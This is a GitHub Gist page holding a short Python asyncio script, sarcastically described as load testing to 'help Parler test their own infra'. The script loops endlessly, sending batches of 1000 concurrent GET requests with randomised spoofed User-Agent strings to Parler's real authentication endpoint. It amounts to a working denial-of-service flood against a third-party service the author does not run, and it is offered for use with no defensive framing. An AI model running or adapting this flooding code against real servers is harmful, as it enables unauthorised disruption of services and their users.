Last active
January 10, 2021 17:01
-
-
Save luanjunyi/8e07337965eb7c99f7d350dc2177863a to your computer and use it in GitHub Desktop.
Load testing a HTTP server with asyncio. Help Parler to test their own infra
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import aiohttp | |
import asyncio | |
import sys | |
import random | |
async def fetch(session, url, task_id): | |
user_agent = 'MAGA 2020, American First Observer %d' % random.randint(1, 111000) | |
headers = { | |
'User-Agent': user_agent | |
} | |
async with session.get(url, headers=headers) as response: | |
print("start %d" % task_id) | |
resp = await response.read() | |
print("done %d: %s" % (task_id, resp[:100])) | |
return resp | |
async def fetch_all(url): | |
while True: | |
async with aiohttp.ClientSession() as session: | |
tasks = [] | |
for idx in range(1000): | |
tasks.append( | |
fetch( | |
session, | |
url, | |
idx | |
) | |
) | |
await asyncio.gather(*tasks, return_exceptions=False) | |
asyncio.run(fetch_all('https://parler.com/auth/access')) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment